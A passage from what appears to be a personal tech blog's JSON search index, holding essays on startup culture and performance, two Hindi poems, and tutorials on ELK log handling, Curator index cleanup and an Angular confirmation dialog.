कभी हार नहीं होती।\n\u003c/pre\u003e\n\u003cp\u003eIf this was not enough, here is a recent \u003ca href=\"https://twitter.com/RayDalio/status/981995852456693761\"\u003etweet\u003c/a\u003e by \u003ca href=\"https://en.wikipedia.org/wiki/Ray_Dalio\"\u003eRay Dalio\u003c/a\u003e\u003c/p\u003e","title":"Koshish"},{"content":"Any startup while expanding and hiring tech talent, always looks for the high quality talent which can fit its bill. Even if the company is able to tap into high quality talent pool (through innovative marketing techniques etc.), when the talent joins the startup, they are exposed to code / culture / practices which are not industry standards due to mediocrity in founding team. The new recruits will miss high quality design discussions and coding practices. Ultimately, it leads to job dissatisfaction and the talent eventually quits.\nAs a result, the startup end up maintaining bunch of mediocre developers which in turn produce mediocre developed features / products containing bugs. This in turn increases the cost of development, as the startup has to:\u000bInvest time in fixing bugs (one team might allocate x% of its time in sprint to fixing bugs) and\nHire a larger than necessary QA team which will need to rigorously find out bugs from the buggy code, report it and get it fixed from the developer.\nThis whole cycle adds unnecessary cost and huge waste of time.\nUltimately startup lags behind the superior competitors and ultimately dies.\n","permalink":"https://madhur.co.in/blog/2018/04/01/rarmificationsmediocrecto.html","summary":"\u003cp\u003eAny startup while expanding and hiring tech talent, always looks for the high quality talent which can fit its bill. Even if the company is able to tap into high quality talent pool (through innovative marketing techniques etc.), when the talent joins the startup, they are exposed to code / culture / practices which are not industry standards due to mediocrity in founding team. The new recruits will  miss  high quality design discussions and coding practices. Ultimately, it leads to job dissatisfaction and the talent eventually quits.\u003c/p\u003e","title":"Ramifications of a mediocre founders"},{"content":"Few days ago, I watched Whiplash which was recommended to me by someone. What an amazing movie with a lot of wisdom.\nOne of the amazing conversation from the movie:\nAndrew: But is there a line? You know, maybe you go too far, and you discourage the next Charlie Parker from ever becoming Charlie Parker?\nTerence Fletcher: No, man, no. Because the next Charlie Parker would never be discouraged.\nTerence Fletcher: There are no two words in the English language more harmful than \u0026ldquo;good job\u0026rdquo;.\nTerence Fletcher: I was there to push people beyond what\u0026rsquo;s expected of them. I believe that\u0026rsquo;s an absolute necessity.\nI was corelating events of the movie with some real life events. Imagine, what would have happened if Ramakant Achrekar would have told Sachin Tendulkar after some reasonably good innings. Hey, Good job Sachin, you have done well. Sachin might have felt good about himself and might have found satisfaction playing domestic cricket. The world would not have got to see Sachin and neither anyone would have knew who Ramakant Achrekar was.\nIn real life, there are many such mentees out there who just stop and feel good after achieving above average performance in their field. They would never unravel their true potential. It\u0026rsquo;s like you don\u0026rsquo;t even know what you are capable of. You yourself don\u0026rsquo;t know what is the limiting factor in your absolute performance?\nIts worthwhile to think how organizations and the managers in those organizations push their employees beyond what\u0026rsquo;s expected of them. In big organizations, this activity is usually gets performed in the name of performance appraisals. From my experience, even the highest performance in the organizations is usually just above average performance. As per bell curve, 70% of employees in any organization are anyway \u0026ldquo;average\u0026rdquo; performers. Those who slightly perform above average are bucketed in 20% \u0026ldquo;high performers\u0026rdquo;.\nDo managers consciously push even more to uncover the next Sachin, Charlie Parker in their field? I doubt so. Why? Because such \u0026ldquo;push\u0026rdquo; can lead to anxiety, mental breakdown in most (if not all). And these behaviors go outside the usual norm of buzzwords like work life balance, family benefits etc etc which organizations use to attract and retain talent. Such push would actually risk the attrition of high performing talent.\nWhat\u0026rsquo;s the conclusion? If you strive to become next Sachin in your field, no big / medium size organization can help you do that. You are better off finding a mentor like Fletcher who would push you way beyond your comfort zone.\nPS: Some people might not like the methodology of Fletcher to eke out the best performance. It might not work for all performers. I believe the point is not that. The point is that extraordinary performance requires extraordinary practice and methods. If you go via what is \u0026ldquo;standard\u0026rdquo; OR \u0026ldquo;average\u0026rdquo; OR what most people or organizations do, you would end up having average results. Extraordinary results in any field requires enduring pain, whichever method it comes through. No pain, no gain\nUpdate: I received a comment:\nWhy would you need an organization or a mentor to \u0026ldquo;push\u0026rdquo; you somewhere? You can just do it yourself, if you want it. An organization can, however, give you more responsibility or more of a chance to prove yourself, all you have to do is ask.\nThe first step towards performing above average is to stop thinking of yourself as this passive child that someone needs to guide all the time.\nI agree. It is not always possible that someone would be always to guide all the time. It might be possible in fields like sports where there is a coach usually to guide but this is not possible in all the fields. In other fields, it is upto individual.\n","permalink":"https://madhur.co.in/blog/2018/03/27/pushbeyondcomfortzone.html","summary":"\u003cp\u003eFew days ago, I watched \u003ca href=\"http://www.imdb.com/title/tt2582802/\"\u003eWhiplash\u003c/a\u003e which was recommended to me by someone. What an amazing movie with a lot of wisdom.\u003c/p\u003e\n\u003cp\u003eOne of the amazing conversation from the movie:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAndrew: But is there a line? You know, maybe you go too far, and you discourage the next Charlie Parker from ever becoming Charlie Parker?\u003cbr\u003e\nTerence Fletcher: No, man, no. Because the next Charlie Parker would never be discouraged.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eTerence Fletcher: There are no two words in the English language more harmful than \u0026ldquo;good job\u0026rdquo;.\u003c/p\u003e","title":"Push beyond comfort zone"},{"content":"Quality always trumps quantity. Lot of companies have embraced the idea of move fast and break things which was pioneered by facebook. But it is important to realize that does not automatically means reduction in quality in favor of speed. Quality is different to different people. For a guy interested in UX, he will be interested in how efficient the user experience is. For someone interested in performance, he will measure quality on the bases of speed of operations in software. Hence, for someone who is owning the quality of deliverable produced (be it CTO, CPO or whatever), it is important to establish the baseline of quality. Good companies which follow move fast and break things methodology make sure that their employees produce software which maintain the quality above that defined baseline.\nAny company, not establishing that baseline and trying to adopt the move fast methodology will end up producing software of inferior quality. When I say inferior, it typically means relative to standard market quality because there is no baseline established in the company itself. In such companies, timelines are the cake and quality is usually the icing, which in fact should be the reverse. Quality should be the cake and speed should be the icing. There cannot be a cake without quality. A fast delivery but with bugs should not be accepted.\nLets consider a scenario in which 2 teams estimate to build a particular product.\nTeam one estimates 2 months. But take 3 months to deliver due to unforeseen issues. Team two estimates 4 months and deliver with 4 months. If you look at above scenarios, Team 1 might look better due to higher speed. But in reality, team 2 is far better. Why?\nThey have better predictability. They can predict the unforeseen issues better than team 1. A company can plan it launches and its plan will fall in place. In first scenario, a company will always need to have a buffer plan to account for delays. In case of even further delays, company might loose confidence in the amount of buffer. Who has the accountability of giving buffer? Some companies also employ bad challenge mechanism. Such companies will give employees challenge to deliver the software within some timeframe irrespective of any quality definition. This leads to poor software building habits because of no focus to quality. There has to be a baseline definition of quality (with less than Y bugs etc). An engineer should always be challenged by the complexity of the problem solved and not by number of products or with speed of product delivered. An engineer might deliver multiple products but all with poor quality , then he is not doing properly what he is paid for. Engineers are paid to think and not code. Coding is just a mechanical activity following the thinking park. A software with bugs is mostly the result of poor thinking rather than poor coding. Bugs in code can be reduced through software tools and code review processes. But it is the thinking part which takes years to develop and enhance. And that is what an engineer should strive for, building excellent thinking skills.\n","permalink":"https://madhur.co.in/blog/2018/02/24/quality-quantity.html","summary":"\u003cp\u003eQuality always trumps quantity. Lot of companies have embraced the idea of \u003ccode\u003emove fast and break things\u003c/code\u003e which was pioneered by facebook.  But it is important to realize that does not automatically means reduction in quality in favor of speed. Quality is different to different people. For a guy interested in UX, he will be interested in how efficient the user experience is. For someone interested in performance, he will measure quality on the bases of speed of operations in software. Hence, for someone who is owning the quality of deliverable produced (be it CTO, CPO or whatever), it is important to establish the baseline of quality. Good companies which follow move fast and break things methodology make sure that their employees produce software which maintain the quality above that defined baseline.\u003c/p\u003e","title":"Quality or Quantity"},{"content":"Back after a short break. Sharing a piece of poetry below by Javed Akhtar. He penned it down for his daughter Zoya.\nIt was shared to me by one of the few persons I admire.\nये जीवन इक राह नहीं इक दोराहा है पहला रस्ता बहुत सरल है इसमें कोई मोड़ नहीं है ये रस्ता इस दुनिया से बेजोड़ नहीं है इस रस्ते पर मिलते हैं रिश्तों के बंधन इस रस्ते पर चलने वाले कहने को सब सुख पाते हैं लेकिन टुकड़े टुकड़े होकर सब रिश्तों में बंट जाते हैं अपने पल्ले कुछ नहीं बचता बचती है बेनाम सी उलझन बचता है सांसों का ईंधन जिसमें उनकी अपनी हर पहचान और उनके सारे सपने जल बुझते हैं इस रस्ते पर चलनेवाले ख़ुद को खोकर जग पाते हैं ऊपर-ऊपर तो जीते हैं अंदर-अंदर मर जाते हैं दूसरा रस्ता बहुत कठिन है इस रस्ते में कोई किसी के साथ नहीं है कोई सहारा देनेवाला हाथ नहीं है इस रस्ते में धूप है कोई छांव नहीं है जहां तस्सली भीख में देदे कोई किसी को इस रस्ते में ऐसा कोई गांव नहीं है ये उन लोगों का रस्ता है जो ख़ुद अपने तक जाते हैं अपने आपको जो पाते हैं तुम इस रस्ते पर ही चलना मुझे पता है ये रस्ता आसान नहीं है लेकिन मुझको ये ग़म भी है तुमको अब तक क्यूं अपनी पहचान नहीं है ","permalink":"https://madhur.co.in/blog/2018/02/16/poem-doraha.html","summary":"\u003cp\u003eBack after a short break. Sharing a piece of poetry below by Javed Akhtar. He penned it down for his daughter Zoya.\u003c/p\u003e\n\u003cp\u003eIt was shared to me by one of the few persons I admire.\u003c/p\u003e\n\u003cpre style=\"font-size:16px\"\u003e\nये जीवन इक राह नहीं\nइक दोराहा है\n\nपहला रस्ता बहुत सरल है\nइसमें कोई मोड़ नहीं है\nये रस्ता इस दुनिया से बेजोड़ नहीं है\nइस रस्ते पर मिलते हैं रिश्तों के बंधन\nइस रस्ते पर चलने वाले \nकहने को सब सुख पाते हैं\nलेकिन\nटुकड़े टुकड़े होकर \nसब रिश्तों में बंट जाते हैं\nअपने पल्ले कुछ नहीं बचता\nबचती है बेनाम सी उलझन\nबचता है सांसों का ईंधन\nजिसमें उनकी अपनी हर पहचान\nऔर उनके सारे सपने\nजल बुझते हैं\nइस रस्ते पर चलनेवाले\nख़ुद को खोकर जग पाते हैं\nऊपर-ऊपर तो जीते हैं\nअंदर-अंदर मर जाते हैं\n \nदूसरा रस्ता बहुत कठिन है\nइस रस्ते में कोई किसी के साथ नहीं है\nकोई सहारा देनेवाला हाथ नहीं है\nइस रस्ते में धूप है \nकोई छांव नहीं है\nजहां तस्सली भीख में देदे कोई किसी को\nइस रस्ते में ऐसा कोई गांव नहीं है\nये उन लोगों का रस्ता है\nजो ख़ुद अपने तक जाते हैं\nअपने आपको जो पाते हैं\nतुम इस रस्ते पर ही चलना\n \nमुझे पता है \nये रस्ता आसान नहीं है\nलेकिन मुझको ये ग़म भी है\nतुमको अब तक \nक्यूं अपनी पहचान नहीं है\n\u003c/pre\u003e","title":"Doraha"},{"content":"I use Elasticsearch Logstash Kibana (ELK) stack for visualizing lot of things like Nginx logs, HaProxy logs etc.\nI also ingest application logs into the ELK. One thing I have been looking to do is visualization of errors happening into the system. Surely, Nginx and Haproxy logs can give you visualization of 500 status codes but there are many cases where the status code is 2xx but the internal error in the system is logged.\nOur most of the microservices are written in Java / Python / Node.js and so I am only concentrating on those. A typical java exception stack trace when logged looks like this:\nException in thread \u0026#34;main\u0026#34; java.lang.NullPointerException at com.example.myproject.Book.getTitle(Book.java:16) at com.example.myproject.Author.getBookTitles(Author.java:25) at com.example.myproject.Bootstrap.main(Bootstrap.java:14) Normally, this will be ingested line by line in ELK stack, which breaks the entire message.\nFor entire stack trace to be ingested as a single message, we need to configure the multiline plugin either in Logstash or Filebeat.\nI prefer to do this configuration in filebeat, here is how my typical configuration looks like:\nfilebeat: tail_files: true prospectors: - paths: - /var/log/example.log input_type: log document_type: log multiline.pattern: \u0026#39;^[[:space:]]\u0026#39; multiline.negate: false multiline.match: after registry_file: /var/lib/filebeat/registry output: logstash: hosts: [\u0026#34; logstash_server \u0026#34;] worker: 4 bulk_max_size : 8192 shipper: logging: files: path: /var/log/filebeat rotateeverybytes: 10485760 # = 10MB level: info The lines below in the configuration configures the multiline processing. i.e. If a line starts with series of spaces (as in the case of stack trace), it should be considered as a part of previous line.\nmultiline.pattern: \u0026#39;^[[:space:]]\u0026#39; multiline.negate: false multiline.match: after Once, we configure the multiline, here is how our messages should look like:\nThe next step is to parse this exception stacktrace and extract useful information like Exception class etc.\nFor this, we can use built in logstash parser JAVASTACKTRACEPART\ngrok { match =\u0026gt; { \u0026#34;message\u0026#34; =\u0026gt;[ \u0026#34;%{JAVASTACKTRACEPART}\u0026#34; ] } } This will extract various useful fields like line no, class and method name from the exception stack trace.\n","permalink":"https://madhur.co.in/blog/2017/04/30/view-exceptions-in-elk.html","summary":"\u003cp\u003eI use \u003ca href=\"https://www.elastic.co/webinars/introduction-elk-stack\"\u003eElasticsearch Logstash Kibana (ELK)\u003c/a\u003e stack for visualizing lot of things like Nginx logs, HaProxy logs etc.\u003c/p\u003e\n\u003cp\u003eI also ingest application logs into the ELK. One thing I have been looking to do is visualization of errors happening into the system. Surely, Nginx and Haproxy logs can give you visualization of 500 status codes but there are many cases where the status code is 2xx but the internal error in the system is logged.\u003c/p\u003e","title":"Handling stack traces in Elasticsearch Logstash Kibana (ELK)"},{"content":"Tech Tip : Monitor virtual servers, carry on your scripting work by accessing your essential emulators and tools all at a centralized platform with hosted windows virtual desktop from CloudDesktopOnline. Visit Apps4Rent.com to know more about cloud products suitable for you.\nWe use ELK stack heavily in our production systems for log aggregation and monitoring.\nOur daily log size generated is aroudn 100GB. Since, we do not intend to keep the log files in ELK for more than a month, it becomes important that we delete those indices to free up disk space.\nFortunately, Logstash creates a new index every day by default.\nThus, we can ask Curator to simply delete the indices x days old and which follow a particular naming pattern.\nInstalling Curator Simple use pip install elasticsearch-curator to install Curator on your machine. I prefer to install it on the Elasticsearch machine itself.\nConfiguring Curator Create a file curator.yml with following contents.\n--- client: hosts: - 127.0.0.1 port: 9200 url_prefix: use_ssl: False certificate: client_cert: client_key: ssl_no_validate: False http_auth: timeout: 30 master_only: False logging: loglevel: INFO logfile: logformat: default blacklist: [\u0026#39;elasticsearch\u0026#39;, \u0026#39;urllib3\u0026#39;] Now, we need to define an action. i.e. What will curator do. There are many actions to choose from. Check the documentation for more information\nAlias Allocation Close Cluster Routing Create Index Delete Indices Delete Snapshots Open forceMerge Replicas Restore Snapshot For this dicussion, we will use Delete Indices as the action, since this is what we want to do.\nBelow is the sample action file delete_indices.yml , which will delete the logstash indices which are older than 10 days.\n--- actions: 1: action: delete_indices description: \u0026gt;- Delete indices older than 45 days (based on index name), for logstash- prefixed indices. Ignore the error if the filter does not result in an actionable list of indices (ignore_empty_list) and exit cleanly. options: ignore_empty_list: True timeout_override: continue_if_exception: False disable_action: False filters: - filtertype: pattern kind: prefix value: logstash- exclude: - filtertype: age source: name direction: older timestring: \u0026#39;%Y.%m.%d\u0026#39; unit: days unit_count: 10 exclude: To run this action, simple use the command\ncurator ./delete_index.yml --config ./curator.yml --dry-run 2017-04-09 17:27:46,075 INFO Preparing Action ID: 1, \u0026#34;delete_indices\u0026#34; 2017-04-09 17:27:46,080 INFO Trying Action ID: 1, \u0026#34;delete_indices\u0026#34;: Delete indices older than 45 days (based on index name), for logstash- prefixed indices. Ignore the error if the filter does not result in an actionable list of indices (ignore_empty_list) and exit cleanly. 2017-04-09 17:27:46,538 INFO DRY-RUN MODE. No changes will be made. 2017-04-09 17:27:46,538 INFO (CLOSED) indices may be shown that may not be acted on by action \u0026#34;delete_indices\u0026#34;. 2017-04-09 17:27:46,538 INFO Action ID: 1, \u0026#34;delete_indices\u0026#34; completed. 2017-04-09 17:27:46,538 INFO Job completed. The --dry-run mode will not actually delete the index. It can be used to test the output of the action.\nIf you want to schedule it in a cron, you can do so using crontab -e\n00 8 * * * root curator /path/delete_index.yml --config /path/curator.yml The above configuration will cleanup the indices older than 10 days everyday at 8 AM.\n","permalink":"https://madhur.co.in/blog/2017/04/09/usingcuratordeleteelasticindex.html","summary":"\u003cp\u003eTech Tip : Monitor virtual servers, carry on your scripting work by accessing your essential emulators and tools all at a centralized platform with hosted windows virtual desktop from \u003ca title=Microsoft\u0026nbsp;Virtual\u0026nbsp;Desktop href=https://www.clouddesktoponline.com/\u003eCloudDesktopOnline\u003c/a\u003e. Visit \u003ca title=Apps4Rent\u0026nbsp;-\u0026nbsp;Hosting\u0026nbsp;Provider href=http://www.apps4rent.com/\u003eApps4Rent.com\u003c/a\u003e to know more about cloud products suitable for you.\u003c/p\u003e\n\u003cp\u003eWe use \u003ca href=\"https://www.elastic.co/webinars/introduction-elk-stack\"\u003eELK stack\u003c/a\u003e heavily in our production systems for log aggregation and monitoring.\u003c/p\u003e\n\u003cp\u003eOur daily log size generated is aroudn 100GB. Since, we do not intend to keep the log files in ELK for more than a month, it becomes important that we delete those indices to free up disk space.\u003c/p\u003e","title":"Using curator to delete older elasticsearch indices"},{"content":"Recently, I have been working on Angular2 quite a lot. We had a requirement to come up with a reusable confirmation dialog component. Below is the quick implementation I came up with. I will soon wrap it into a npm module. Any feedbacks?\nconfirmation-dialog.component.ts\nimport { Component, OnInit } from \u0026#39;@angular/core\u0026#39;; import { MdDialogRef } from \u0026#39;@angular/material\u0026#39;; @Component({ selector: \u0026#39;app-confirmation-dialog\u0026#39;, templateUrl: \u0026#39;./confirmation-dialog.component.html\u0026#39;, styleUrls: [\u0026#39;./confirmation-dialog.component.scss\u0026#39;] }) export class ConfirmationDialogComponent implements OnInit { public title: string; public message: string; public titleAlign?: string; public messageAlign?: string; public btnOkText?: string; public btnCancelText?: string; constructor(public dialogRef: MdDialogRef\u0026lt;ConfirmationDialogComponent\u0026gt;) { } ngOnInit() { } } confirmation-dialog.service.ts\nimport { Observable } from \u0026#39;rxjs/Rx\u0026#39;; import { ConfirmationDialogComponent } from \u0026#39;./confirmation-dialog.component\u0026#39;; import { MdDialogRef, MdDialog, MdDialogConfig } from \u0026#39;@angular/material\u0026#39;; import { Injectable, ViewContainerRef } from \u0026#39;@angular/core\u0026#39;; @Injectable() export class ConfirmationDialogsService { constructor(private dialog: MdDialog) { } public confirm(title: string, message: string, viewContainerRef: ViewContainerRef, btnOkText: string =\u0026#39;Ok\u0026#39;, btnCancelText: string =\u0026#39;Cancel\u0026#39;): Observable\u0026lt;boolean\u0026gt; { let dialogRef: MdDialogRef\u0026lt;ConfirmationDialogComponent\u0026gt;; let config = new MdDialogConfig(); config.viewContainerRef = viewContainerRef; dialogRef = this.dialog.open(ConfirmationDialogComponent, config); dialogRef.componentInstance.title = title; dialogRef.componentInstance.message = message; dialogRef.componentInstance.btnOkText = btnOkText; dialogRef.componentInstance.btnCancelText = btnCancelText; return dialogRef.afterClosed(); } public confirmWithoutContainer(title: string, message: string, titleAlign: string=\u0026#39;center\u0026#39;, messageAlign: string=\u0026#39;center\u0026#39;, btnOkText: string =\u0026#39;Ok\u0026#39;, btnCancelText: string =\u0026#39;Cancel\u0026#39; ): Observable\u0026lt;boolean\u0026gt; { let dialogRef: MdDialogRef\u0026lt;ConfirmationDialogComponent\u0026gt;; let config = new MdDialogConfig(); // config.viewContainerRef = viewContainerRef; dialogRef = this.dialog.open(ConfirmationDialogComponent, config); dialogRef.componentInstance.title = title; dialogRef.componentInstance.message = message; dialogRef.componentInstance.titleAlign = titleAlign; dialogRef.componentInstance.messageAlign = messageAlign; dialogRef.componentInstance.btnOkText = btnOkText; dialogRef.componentInstance.btnCancelText = btnCancelText; return dialogRef.afterClosed(); } } confirmation-dialog.component.html\n\u0026lt;div class=\u0026#34;box-holder\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;header-row\u0026#34; [ngClass]=\u0026#34;{\u0026#39;text-center-align\u0026#39;: titleAlign==\u0026#39;center\u0026#39;, \u0026#39;text-right-align\u0026#39;: titleAlign==\u0026#39;right\u0026#39; }\u0026#34;fxLayoutAlign=\u0026#34;space-between center\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;header-title \u0026#34;\u0026gt; {{ title }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;content-holder\u0026#34; [ngClass]=\u0026#34;{\u0026#39;text-center-align\u0026#39;: messageAlign==\u0026#39;center\u0026#39;, \u0026#39;text-right-align\u0026#39;: messageAlign==\u0026#39;right\u0026#39; }\u0026#34; fxLayoutAlign=\u0026#34;start start\u0026#34;\u0026gt; {{ message }} \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;action-container\u0026#34; fxLayoutAlign=\u0026#34;end end\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; md-button class=\u0026#34;od-button od-ripple action-button\u0026#34; (click)=\u0026#34;dialogRef.close()\u0026#34;\u0026gt;{{ btnCancelText }}\u0026lt;/button\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; md-raised-button class=\u0026#34;od-button od-ripple action-button\u0026#34; (click)=\u0026#34;dialogRef.close(true)\u0026#34;\u0026gt; {{ btnOkText }} \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ","permalink":"https://madhur.co.in/blog/2017/03/26/angular-confirmation-dialog.html","summary":"\u003cp\u003eRecently, I have been working on Angular2 quite a lot. We had a requirement to come up with a reusable confirmation dialog component. Below is the quick implementation I came up with. I will\nsoon wrap it into a npm module. Any feedbacks?\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003econfirmation-dialog.component.ts\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eOnInit\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@angular/core\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eMdDialogRef\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@angular/material\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003e@Component\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003eselector\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;app-confirmation-dialog\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003etemplateUrl\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;./confirmation-dialog.component.html\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003estyleUrls\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;./confirmation-dialog.component.scss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003eclass\u003c/span\u003e \u003cspan class=\"nx\"\u003eConfirmationDialogComponent\u003c/span\u003e \u003cspan class=\"kr\"\u003eimplements\u003c/span\u003e \u003cspan class=\"nx\"\u003eOnInit\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003etitle\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003emessage\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003etitleAlign?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003emessageAlign?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnOkText?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003ebtnCancelText?\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kr\"\u003econstructor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003epublic\u003c/span\u003e \u003cspan class=\"nx\"\u003edialogRef\u003c/span\u003e: \u003cspan class=\"kt\"\u003eMdDialogRef\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eConfirmationDialogComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nx\"\u003engOnInit() {\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003econfirmation-dialog.service.ts\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eObservable\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;rxjs/Rx\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003eConfirmationDialogComponent\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan 